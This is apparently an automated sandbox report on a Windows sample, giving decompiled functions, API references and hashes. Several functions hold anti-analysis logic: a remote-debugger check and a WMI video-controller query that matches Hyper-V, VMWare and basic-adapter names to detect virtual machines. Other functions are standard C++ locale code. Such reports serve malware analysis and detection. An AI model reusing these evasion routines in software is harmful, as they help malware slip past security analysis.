Instruction ID: f9ffe4a80a61b845b6a4f6b8d3eda22fdacd91f8600eba3c745f3679840f9bd8
Opcode Fuzzy Hash: 8bdeb88323b82ef23c73d34e39c01d7ba77247a1ae46e5c06d95754e11bfc369
Instruction Fuzzy Hash: 7DE0E636501129ABCF011FD1ED49CAE7F29EB447607044465F90556121DB3598219F99

Uniqueness

Uniqueness Score: -1.00%

Function 00438DCE, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00438DCE(void* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _t7;
				void* _t10;
				signed int _t17;

				_t7 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t7 ^ _t17;
				_v12 = _v12 & 0x00000000;
				_t10 =  *0x4f005c( &_v12, __ecx, __ecx);
				 *0x4f00e0(); // executed
				return E0049CE1D(_v8 ^ _t17, _t10);
			}

0x00438dd3
0x00438dda
0x00438ddd
0x00438de5
0x00438dec
0x00438e00

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000), ref: 00438DEC

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 329cb82f05bf82990bf6ada7289953a8f0a9763c03fb8bedf75985b71777df28
Instruction ID: 09e9f4d8f5242797316c51bba627f5ea0253f9dfdebc91d532508e0e4eafc2c5
Opcode Fuzzy Hash: 329cb82f05bf82990bf6ada7289953a8f0a9763c03fb8bedf75985b71777df28
Instruction Fuzzy Hash: 0AE0BF71910208AFCB04DFE5D849A9E7BF8EB48255F404469A402D3241DA78AA54CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0049ACC4, Relevance: 30.3, APIs: 20, Instructions: 287
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E0049ACC4(void* __ecx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				signed int _t65;
				signed char _t66;
				void* _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;
				intOrPtr* _t74;
				void* _t80;
				void* _t82;
				void* _t83;
				void* _t85;
				void* _t86;
				intOrPtr* _t88;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr* _t94;
				void* _t106;
				intOrPtr* _t108;
				intOrPtr* _t110;
				void* _t111;
				signed int _t116;
				void* _t117;
				void* _t146;
				signed int _t150;
				intOrPtr _t152;
				void* _t154;
				intOrPtr* _t156;
				void* _t157;
				void* _t160;
				intOrPtr* _t161;
				intOrPtr* _t162;
				intOrPtr* _t163;
				void* _t164;
				void* _t165;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t176 = __eflags;
				_t153 = __esi;
				_t146 = __edx;
				_push(8);
				E0049D90B(0x4d731a, __edi, __esi);
				_push(0);
				_push(0);
				_t65 = E00499AE3(_t146, __edi, __esi, _t176);
				_t116 =  *(_t164 + 0x14);
				_t152 =  *((intOrPtr*)(_t164 + 0x10));
				_t150 = 1 << _t65 >> 1;
				_t177 =  *(_t164 + 0xc) & 1;
				if(( *(_t164 + 0xc) & 1) != 0) {
					_t110 = E0042B22E(0x4ede30, _t152, __esi, _t177);
					if(_t116 != 0) {
						_push(_t116);
						_t153 = _t110;
						_t111 = E00499534(_t152, _t153, __eflags);
						_push(_t153);
						_push(_t111);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, __eflags);
						_t165 = _t165 + 0x10;
					} else {
						 *((intOrPtr*)(_t164 - 0x10)) = _t110;
						_t163 = E0049CE33(0x10);
						 *((intOrPtr*)(_t164 - 0x14)) = _t163;
						_t179 = _t163;
						if(_t163 == 0) {
							_t153 = 0;
							__eflags = 0;
						} else {
							 *(_t163 + 4) =  *(_t163 + 4) & _t116;
							 *_t163 = 0x402e64;
							 *((intOrPtr*)(_t163 + 8)) = E0049C860();
							 *(_t163 + 0xc) = _t150;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						_push(_t153);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t179);
						_t165 = _t165 + 0xc;
					}
				}
				_t66 =  *(_t164 + 0xc);
				_t180 = _t66 & 0x00000020;
				if((_t66 & 0x00000020) != 0) {
					_t153 = E0042B22E(0x4ede34, _t152, _t153, _t180);
					if(_t116 != 0) {
						_push(_t116);
						_t106 = E004995C9();
						_push(_t153);
						_push(_t106);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, __eflags);
						_t165 = _t165 + 0x10;
					} else {
						_t108 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t108;
						_t182 = _t108;
						if(_t108 == 0) {
							_t108 = 0;
							__eflags = 0;
						} else {
							 *(_t108 + 4) =  *(_t108 + 4) & _t116;
							 *_t108 = 0x402e80;
						}
						_push(_t153);
						_push(_t108);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t182);
						_t165 = _t165 + 0xc;
					}
					_t66 =  *(_t164 + 0xc);
				}
				_t183 = _t66 & 0x00000004;
				if((_t66 & 0x00000004) != 0) {
					_t157 = E0042B22E(0x4ede38, _t152, _t153, _t183);
					if(_t116 != 0) {
						_push(_t116);
						_t80 = E0049965E();
						_push(_t157);
						_push(_t80);
						_push(_t152);
						E0048A873(_t150, _t152, _t157, __eflags);
						_t82 = E0042B22E(0x4ede3c, _t152, _t157, __eflags);
						_push(_t116);
						_t83 = E004996F3();
						_push(_t82);
						_push(_t83);
						_push(_t152);
						E0048A873(_t150, _t152, _t82, __eflags);
						_t85 = E0042B22E(0x4ede40, _t152, _t82, __eflags);
						_push(_t116);
						_t86 = E0049981D();
						_push(_t85);
						_push(_t86);
						_push(_t152);
						E0048A873(_t150, _t152, _t85, __eflags);
						_t88 = E0042B22E(0x4ede44, _t152, _t85, __eflags);
						_push(_t116);
						_t153 = _t88;
						_t89 = E00499788();
						_push(_t88);
						_push(_t89);
						_push(_t152);
						E0048A873(_t150, _t152, _t88, __eflags);
						_t165 = _t165 + 0x40;
					} else {
						_t91 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t91;
						_t185 = _t91;
						if(_t91 == 0) {
							_t91 = 0;
							__eflags = 0;
						} else {
							 *(_t91 + 4) =  *(_t91 + 4) & _t116;
							 *_t91 = 0x402e9c;
						}
						_push(_t157);
						_push(_t91);
						_push(_t152);
						E0048A873(_t150, _t152, _t157, _t185);
						_t173 = _t165 + 0xc;
						_t160 = E0042B22E(0x4ede3c, _t152, _t157, _t185);
						_t94 = E0049CE33(8);
						 *((intOrPtr*)(_t164 - 0x14)) = _t94;
						_t186 = _t94;
						if(_t94 == 0) {
							_t94 = 0;
							__eflags = 0;
						} else {
							 *(_t94 + 4) =  *(_t94 + 4) & 0x00000000;
							 *_t94 = 0x402eb4;
						}
						_push(_t160);
						_push(_t94);
						_push(_t152);
						E0048A873(_t150, _t152, _t160, _t186);
						_t174 = _t173 + 0xc;
						 *((intOrPtr*)(_t164 - 0x10)) = E0042B22E(0x4ede40, _t152, _t160, _t186);
						_t161 = E0049CE33(0x58);
						 *((intOrPtr*)(_t164 - 0x14)) = _t161;
						 *(_t164 - 4) = 7;
						_t187 = _t161;
						if(_t161 == 0) {
							_t161 = 0;
							__eflags = 0;
						} else {
							 *((intOrPtr*)(_t161 + 4)) = 0;
							_push(0);
							_push( *((intOrPtr*)(_t164 + 8)));
							 *(_t164 - 4) = 8;
							 *_t161 = 0x402ecc;
							 *((char*)(_t161 + 0x28)) = 0;
							E0049AB98(_t161, _t152, _t161, _t187);
							 *_t161 = 0x402f00;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t161);
						_push(_t152);
						E0048A873(_t150, _t152, _t161, _t187);
						_t175 = _t174 + 0xc;
						 *((intOrPtr*)(_t164 - 0x10)) = E0042B22E(0x4ede44, _t152, _t161, _t187);
						_t162 = E0049CE33(0x58);
						 *((intOrPtr*)(_t164 - 0x14)) = _t162;
						 *(_t164 - 4) = 0xd;
						_t188 = _t162;
						if(_t162 == 0) {
							_t153 = 0;
							__eflags = 0;
						} else {
							 *(_t162 + 4) =  *(_t162 + 4) & 0x00000000;
							_push(0);
							_push( *((intOrPtr*)(_t164 + 8)));
							 *(_t164 - 4) = 0xe;
							 *_t162 = 0x402ecc;
							 *((char*)(_t162 + 0x28)) = 1;
							E0049AB98(_t162, _t152, _t162, _t188);
							 *_t162 = 0x402f34;
						}
						_push( *((intOrPtr*)(_t164 - 0x10)));
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t153);
						_push(_t152);
						E0048A873(_t150, _t152, _t153, _t188);
						_t165 = _t175 + 0xc;
					}
					_t66 =  *(_t164 + 0xc);
				}
				_t189 = _t66 & 0x00000010;
				if((_t66 & 0x00000010) != 0) {
					_t154 = E0042B22E(0x4ede48, _t152, _t153, _t189);
					if(_t116 != 0) {
						_push(_t116);
						_t69 = E004998B2();
						_push(_t154);
						_push(_t69);
						_push(_t152);
						E0048A873(_t150, _t152, _t154, __eflags);
						_t71 = E0042B22E(0x4ede4c, _t152, _t154, __eflags);
						_push(_t116);
						_t72 = E00499947();
						_push(_t71);
						_push(_t72);
						_push(_t152);
						_t66 = E0048A873(_t150, _t152, _t71, __eflags);
					} else {
						_t73 = E0049CE33(0x44);
						 *((intOrPtr*)(_t164 - 0x14)) = _t73;
						 *(_t164 - 4) = 0x12;
						_t191 = _t73;
						if(_t73 == 0) {
							_t74 = 0;
							__eflags = 0;
						} else {
							_push(_t116);
							_push( *((intOrPtr*)(_t164 + 8)));
							_t74 = E004999DC(_t73); // executed
						}
						 *(_t164 - 4) =  *(_t164 - 4) | 0xffffffff;
						_push(_t154);
						_push(_t74);
						_push(_t152);
						E0048A873(_t150, _t152, _t154, _t191);
						_t117 = E0042B22E(0x4ede4c, _t152, _t154, _t191);
						_t156 = E0049CE33(0xc);
						 *((intOrPtr*)(_t164 - 0x14)) = _t156;
						_t192 = _t156;
						if(_t156 == 0) {
							_t156 = 0;
							__eflags = 0;
						} else {
							 *(_t156 + 4) =  *(_t156 + 4) & 0x00000000;
							 *_t156 = 0x402f94;
							 *(_t156 + 8) =  *(_t156 + 8) & 0x00000000;
							E0049AC9B(_t117, _t152,  *((intOrPtr*)(_t164 + 8))); // executed
						}
						_push(_t117);
						_push(_t156);
						_push(_t152);
						_t66 = E0048A873(_t150, _t152, _t156, _t192);
					}
				}
				return E0049D8D4(_t66);
			}

0x0049acc4
0x0049acc4
0x0049acc4
0x0049acc4
0x0049accb
0x0049acd0
0x0049acd2
0x0049acd4
0x0049acd9
0x0049acde
0x0049ace8
0x0049acea
0x0049aced
0x0049acf4
0x0049acfb
0x0049ad38
0x0049ad39
0x0049ad3b
0x0049ad40
0x0049ad41
0x0049ad42
0x0049ad43
0x0049ad48
0x0049acfd
0x0049acff
0x0049ad07
0x0049ad09
0x0049ad0d
0x0049ad0f
0x0049ad27
0x0049ad27
0x0049ad11
0x0049ad11
0x0049ad14
0x0049ad1f
0x0049ad22
0x0049ad22
0x0049ad29
0x0049ad2c
0x0049ad2d
0x0049ad2e
0x0049ad33
0x0049ad33
0x0049acfb
0x0049ad4b
0x0049ad4e
0x0049ad50
0x0049ad5c
0x0049ad60
0x0049ad8b
0x0049ad8c
0x0049ad91
0x0049ad92
0x0049ad93
0x0049ad94
0x0049ad99
0x0049ad62
0x0049ad64
0x0049ad69
0x0049ad6d
0x0049ad6f
0x0049ad7c
0x0049ad7c
0x0049ad71
0x0049ad71
0x0049ad74
0x0049ad74
0x0049ad7e
0x0049ad7f
0x0049ad80
0x0049ad81
0x0049ad86
0x0049ad86
0x0049ad9c
0x0049ad9c
0x0049ad9f
0x0049ada1
0x0049adb1
0x0049adb5
0x0049aed3
0x0049aed4
0x0049aed9
0x0049aeda
0x0049aedb
0x0049aedc
0x0049aee9
0x0049aeee
0x0049aef1
0x0049aef6
0x0049aef7
0x0049aef8
0x0049aef9
0x0049af06
0x0049af0b
0x0049af0e
0x0049af13
0x0049af14
0x0049af15
0x0049af16
0x0049af23
0x0049af28
0x0049af29
0x0049af2b
0x0049af30
0x0049af31
0x0049af32
0x0049af33
0x0049af38
0x0049adbb
0x0049adbd
0x0049adc2
0x0049adc6
0x0049adc8
0x0049add5
0x0049add5
0x0049adca
0x0049adca
0x0049adcd
0x0049adcd
0x0049add7
0x0049add8
0x0049add9
0x0049adda
0x0049addf
0x0049adee
0x0049adf0
0x0049adf5
0x0049adf9
0x0049adfb
0x0049ae09
0x0049ae09
0x0049adfd
0x0049adfd
0x0049ae01
0x0049ae01
0x0049ae0b
0x0049ae0c
0x0049ae0d
0x0049ae0e
0x0049ae13
0x0049ae22
0x0049ae2a
0x0049ae2d
0x0049ae30
0x0049ae37
0x0049ae39
0x0049ae60
0x0049ae60
0x0049ae3b
0x0049ae3d
0x0049ae40
0x0049ae41
0x0049ae46
0x0049ae4a
0x0049ae50
0x0049ae53
0x0049ae58
0x0049ae58
0x0049ae62
0x0049ae65
0x0049ae69
0x0049ae6a
0x0049ae6b
0x0049ae70
0x0049ae7f
0x0049ae87
0x0049ae8a
0x0049ae8d
0x0049ae94
0x0049ae96
0x0049aebe
0x0049aebe
0x0049ae98
0x0049ae98
0x0049ae9c
0x0049ae9e
0x0049aea3
0x0049aea7
0x0049aead
0x0049aeb1
0x0049aeb6
0x0049aeb6
0x0049aec0
0x0049aec3
0x0049aec7
0x0049aec8
0x0049aec9
0x0049aece
0x0049aece
0x0049af3b
0x0049af3b
0x0049af3e
0x0049af40
0x0049af50
0x0049af54
0x0049afd0
0x0049afd1
0x0049afd6
0x0049afd7
0x0049afd8
0x0049afd9
0x0049afe6
0x0049afeb
0x0049afee
0x0049aff3
0x0049aff4
0x0049aff5
0x0049aff6
0x0049af56
0x0049af58
0x0049af5e
0x0049af61
0x0049af68
0x0049af6a
0x0049af79
0x0049af79
0x0049af6c
0x0049af6c
0x0049af6d
0x0049af72
0x0049af72
0x0049af7b
0x0049af7f
0x0049af80
0x0049af81
0x0049af82
0x0049af96
0x0049af9d
0x0049af9f
0x0049afa3
0x0049afa5
0x0049afc1
0x0049afc1
0x0049afa7
0x0049afa7
0x0049afb0
0x0049afb6
0x0049afba
0x0049afba
0x0049afc3
0x0049afc4
0x0049afc5
0x0049afc6
0x0049afcb
0x0049af54
0x0049b003

APIs

__EH_prolog3.LIBCMT ref: 0049ACCB
collate.LIBCPMT ref: 0049ACD4

Part of subcall function 00499AE3: __EH_prolog3_GS.LIBCMT ref: 00499AEA
Part of subcall function 00499AE3: __Getcoll.LIBCPMT ref: 00499B4E

__Getcoll.LIBCPMT ref: 0049AD1A
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD2E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD43
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD81
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AD94
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049ADDA
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AE0E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEC9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEDC
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AEF9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF16
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF33
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AE6B

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0049AF72
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AF82
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFC6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFD9
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0049AFF6

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollH_prolog3_Lockitstd::_$H_prolog3Lockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3839405195-0
Opcode ID: 318ce5f481af8421ded7a6ab4392a14e205fc520f5932919b53e51d8f1db25ff
Instruction ID: 04a7dbbcce0daef4041963a70b1bcc221a47aead397dd6f57fe9782455da5912
Opcode Fuzzy Hash: 318ce5f481af8421ded7a6ab4392a14e205fc520f5932919b53e51d8f1db25ff
Instruction Fuzzy Hash: 8691C5B1D002116AEF117AA6884AA3F7EA5DF51754F10893FF809A7282DB7C8D1153EF

Uniqueness

Uniqueness Score: -1.00%

Function 0043879C, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E0043879C(void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v12;
				char _v32;
				void* _v36;
				void* _v40;
				char _v44;
				void* _v48;
				WCHAR* _v64;
				WCHAR* _v68;
				WCHAR* _v72;
				char _v76;
				intOrPtr* _v88;
				intOrPtr* _v96;
				signed int _t38;
				void* _t40;
				intOrPtr* _t45;
				intOrPtr* _t52;
				intOrPtr* _t54;
				WCHAR* _t58;
				intOrPtr* _t61;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t76;
				char _t91;
				signed int _t94;

				_t96 = (_t94 & 0xfffffff8) - 0x28;
				_t38 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t38 ^ (_t94 & 0xfffffff8) - 0x00000028;
				_t91 = 0;
				_push(__ecx);
				_v36 = 0;
				_v32 = 0;
				_v40 = 0;
				_t40 = E0043F5AD( &_v36,  &_v32);
				_pop(_t67);
				if(_t40 != 0) {
					_push( &_v40);
					if(E0043F667( &_v32) != 0) {
						_t73 = _v40;
						_v44 = 0;
						_v12 = 0;
						if(_t73 != 0) {
							while(1) {
								 *((intOrPtr*)( *_t73 + 0x10))(_t73, 0xffffffff, 1,  &_v44,  &_v12);
								if(_v32 == _t91) {
									goto L14;
								}
								_t52 = _v64;
								_push(_t91);
								_push(_t91);
								_push( &_v48);
								_push(_t91);
								_push(L"Caption");
								_push(_t52); // executed
								if( *((intOrPtr*)( *_t52 + 0x10))() < 0) {
									L11:
									_t54 = _v88;
									 *((intOrPtr*)( *_t54 + 8))(_t54);
									_t73 = _v88;
									if(_t73 != 0) {
										continue;
									} else {
									}
								} else {
									if(_v72 != 8) {
										L10:
										 *0x4ed604( &_v72);
										goto L11;
									} else {
										_t58 = StrStrIW(_v64, L"Hyper-V"); // executed
										if(_t58 != 0 || StrStrIW(_v68, L"Microsoft Basic Display Adapter") != 0 || StrStrIW(_v72, L"VMWare") != 0) {
											 *0x4ed604( &_v76);
											_t61 = _v96;
											 *((intOrPtr*)( *_t61 + 8))(_t61);
											_t91 = 1;
										} else {
											goto L10;
										}
									}
								}
								goto L14;
							}
						}
						L14:
						_t45 = _v36;
						 *((intOrPtr*)( *_t45 + 8))(_t45);
						_t75 = _v36;
						 *((intOrPtr*)( *_t75 + 8))(_t75);
						_t76 = _v48;
						 *((intOrPtr*)( *_t76 + 8))(_t76);
						 *0x4ed810(); // executed
					}
				}
				return E0049CE1D(_v8 ^ _t96);
			}

0x004387a2
0x004387a5
0x004387ac
0x004387b2
0x004387b8
0x004387bd
0x004387c1
0x004387c5
0x004387c9
0x004387ce
0x004387d1
0x004387dc
0x004387ee
0x004387f4
0x004387f8
0x004387fc
0x00438802
0x0043880e
0x0043881f
0x00438826
0x00000000
0x00000000
0x0043882c
0x00438834
0x00438835
0x00438836
0x00438839
0x0043883a
0x0043883f
0x00438845
0x00438887
0x00438887
0x0043888e
0x00438891
0x00438897
0x00000000
0x00000000
0x0043889d
0x00438847
0x0043884d
0x0043887c
0x00438881
0x00000000
0x0043884f
0x00438858
0x0043885c
0x004388a4
0x004388aa
0x004388b1
0x004388b6
0x00000000
0x00000000
0x00000000
0x0043885c
0x0043884d
0x00000000
0x00438845
0x0043880e
0x004388b7
0x004388b7
0x004388be
0x004388c1
0x004388c8
0x004388cb
0x004388d2
0x004388d5
0x004388d5
0x004387ee
0x004388ed

APIs

Part of subcall function 0043F5AD: SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 0043F5FC
Part of subcall function 0043F5AD: SysFreeString.OLEAUT32(00000000), ref: 0043F621

Part of subcall function 0043F667: SysAllocString.OLEAUT32(WQL), ref: 0043F67F
Part of subcall function 0043F667: SysAllocString.OLEAUT32(SELECT * FROM Win32_VideoController), ref: 0043F688
Part of subcall function 0043F667: SysFreeString.OLEAUT32(00000000), ref: 0043F6D2
Part of subcall function 0043F667: SysFreeString.OLEAUT32(00000000), ref: 0043F6DD

StrStrIW.SHLWAPI(?,Hyper-V), ref: 00438858
StrStrIW.SHLWAPI(?,Microsoft Basic Display Adapter), ref: 00438867
StrStrIW.SHLWAPI(?,VMWare), ref: 00438876
VariantClear.OLEAUT32(00000008), ref: 00438881
VariantClear.OLEAUT32(00000008), ref: 004388A4

Strings

Microsoft Basic Display Adapter, xrefs: 0043885E
Caption, xrefs: 0043883A
VMWare, xrefs: 0043886D
Hyper-V, xrefs: 0043884F

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree$ClearVariant
String ID: Caption$Hyper-V$Microsoft Basic Display Adapter$VMWare
API String ID: 261499160-2601875369
Opcode ID: b954a7e0e0a7886b4ade209102527ca93faec4aa3c3b4ac8daae5b98ffce4332
Instruction ID: cad59449631d3d9305af6ef8d900ebbb3397a1077be9872861ffa1e9e56699b9
Opcode Fuzzy Hash: b954a7e0e0a7886b4ade209102527ca93faec4aa3c3b4ac8daae5b98ffce4332
Instruction Fuzzy Hash: 7E417C71608302AFC708EF25C884D5BBBE8EFC8754F104A6EF55997260DB30D949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042B0D7(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _t61;
				void* _t65;
				intOrPtr _t78;
				intOrPtr _t93;
				intOrPtr _t94;
				signed int _t99;

				_t78 = __ecx;
				_push(4);
				E0049D90B(0x4c4a52, __edi, __esi);
				_t93 = _t78;
				_v16 = _t93;
				E00488DEA(_t78, 0);
				_v4 = 0;
				 *((intOrPtr*)(_t93 + 4)) = 0;
				 *((char*)(_t93 + 8)) = 0;
				_v4 = 1;
				 *((intOrPtr*)(_t93 + 0xc)) = 0;
				 *((char*)(_t93 + 0x10)) = 0;
				_v4 = 2;
				 *((intOrPtr*)(_t93 + 0x14)) = 0;
				 *((short*)(_t93 + 0x18)) = 0;
				_v4 = 3;
				 *((intOrPtr*)(_t93 + 0x1c)) = 0;
				 *((short*)(_t93 + 0x20)) = 0;
				_v4 = 4;
				 *((intOrPtr*)(_t93 + 0x24)) = 0;
				 *((char*)(_t93 + 0x28)) = 0;
				_v4 = 5;
				 *((intOrPtr*)(_t93 + 0x2c)) = 0;
				 *((char*)(_t93 + 0x30)) = 0;
				_v4 = 6;
				if(_a8 == 0) {
					E0048902D("bad locale name");
					asm("int3");
					_push(0xffffffff);
					_push(0x4c4ab7);
					_push( *[fs:0x0]);
					_push(_t78);
					_push(0);
					_push(_t93);
					_t61 =  *0x4eb018; // 0x6027d6a0
					_push(_t61 ^ _t99);
					 *[fs:0x0] =  &_v20;
					_t94 = _t78;
					_v24 = _t94;
					_v12 = 6;
					E0048931A(_t94); // executed
					_v12 = 5;
					if( *((intOrPtr*)(_t94 + 0x2c)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x2c)));
					}
					 *((intOrPtr*)(_t94 + 0x2c)) = 0;
					_v8 = 4;
					if( *((intOrPtr*)(_t94 + 0x24)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x24)));
					}
					 *((intOrPtr*)(_t94 + 0x24)) = 0;
					_v8 = 3;
					if( *((intOrPtr*)(_t94 + 0x1c)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x1c)));
					}
					 *((intOrPtr*)(_t94 + 0x1c)) = 0;
					_v8 = 2;
					if( *((intOrPtr*)(_t94 + 0x14)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x14)));
					}
					 *((intOrPtr*)(_t94 + 0x14)) = 0;
					_v8 = 1;
					if( *((intOrPtr*)(_t94 + 0xc)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0xc)));
					}
					 *((intOrPtr*)(_t94 + 0xc)) = 0;
					_v8 = 0;
					if( *((intOrPtr*)(_t94 + 4)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 4)));
					}
					 *((intOrPtr*)(_t94 + 4)) = 0;
					_v8 = _v8 | 0xffffffff;
					_t65 = E00488E42(_t94);
					 *[fs:0x0] = _v16;
					return _t65;
				} else {
					E004892CF(_t93, _a8); // executed
					_v4 = _v4 | 0xffffffff;
					return E0049D8D4(_t93);
				}
			}

0x0042b0d7
0x0042b0d7
0x0042b0de
0x0042b0e3
0x0042b0e5
0x0042b0eb
0x0042b0f0
0x0042b0f3
0x0042b0f6
0x0042b0f9
0x0042b0fd
0x0042b100
0x0042b103
0x0042b109
0x0042b10c
0x0042b110
0x0042b114
0x0042b117
0x0042b11b
0x0042b11f
0x0042b122
0x0042b125
0x0042b129
0x0042b12c
0x0042b12f
0x0042b136
0x0042b156
0x0042b15b
0x0042b15f
0x0042b161
0x0042b16c
0x0042b16d
0x0042b16e
0x0042b16f
0x0042b170
0x0042b177
0x0042b17b
0x0042b181
0x0042b183
0x0042b186
0x0042b18e
0x0042b194
0x0042b19c
0x0042b1a1
0x0042b1a6
0x0042b1a9
0x0042b1ac
0x0042b1b3
0x0042b1b8
0x0042b1bd
0x0042b1be
0x0042b1c1
0x0042b1c8
0x0042b1cd
0x0042b1d2
0x0042b1d3
0x0042b1d6
0x0042b1dd
0x0042b1e2
0x0042b1e7
0x0042b1e8
0x0042b1eb
0x0042b1f2
0x0042b1f7
0x0042b1fc
0x0042b1fd
0x0042b200
0x0042b206
0x0042b20b
0x0042b210
0x0042b211
0x0042b214
0x0042b21a
0x0042b222
0x0042b22d
0x0042b138
0x0042b13c
0x0042b143
0x0042b14e
0x0042b14e

APIs

__EH_prolog3.LIBCMT ref: 0042B0DE
std::_Lockit::_Lockit.LIBCPMT ref: 0042B0EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042B13C
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Strings

bad locale name, xrefs: 0042B151

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$H_prolog3Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3885362349-1405518554
Opcode ID: 2ca577620741fc4d0fa9664d843e3fb6eb30bf736c91008a5dbe1d94b836b8d5
Instruction ID: 6c1aac0d3ae764c151c891031ecf3eb922a7cb345cb057f0399f80213b4349f3
Opcode Fuzzy Hash: 2ca577620741fc4d0fa9664d843e3fb6eb30bf736c91008a5dbe1d94b836b8d5
Instruction Fuzzy Hash: 5341D071805B84DECB21DF6AD54074AFBF0FF19714F108A6FE09A93691C778AA04CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0043834E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0043834E(void* __ebx) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				int _v24;
				void* _v28;
				signed int _t17;
				void* _t19;
				long _t21;
				long _t28;
				signed int _t38;

				_t17 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t17 ^ _t38;
				_t19 =  *0x4ed67c(0x1000); // executed
				if(_t19 == 0) {
					_v28 = 0;
					_t21 = RegOpenKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 0, 0x20019,  &_v28); // executed
					if(_t21 == 0) {
						_v12 = 4;
						_t28 = RegQueryValueExW(_v28, L"GlassSessionId", 0,  &_v24,  &_v20,  &_v12); // executed
						if(_t28 == 0) {
							_push( *0x4f00cc( &_v16));
							if( *0x4f0098() != 0) {
							}
						}
					}
					if(_v28 != 0) {
						RegCloseKey(_v28); // executed
					}
					goto L8;
				} else {
					L8:
					return E0049CE1D(_v8 ^ _t38);
				}
			}

0x00438354
0x0043835b
0x00438366
0x0043836e
0x00438376
0x0043838a
0x00438392
0x00438397
0x004383b0
0x004383b8
0x004383c4
0x004383cd
0x004383cd
0x004383cd
0x004383b8
0x004383de
0x004383e3
0x004383e3
0x00000000
0x00438370
0x004383e9
0x004383f7
0x004383f7

APIs

KiUserCallbackDispatcher.NTDLL(00001000), ref: 00438366
RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\Terminal Server\,00000000,00020019,?), ref: 0043838A
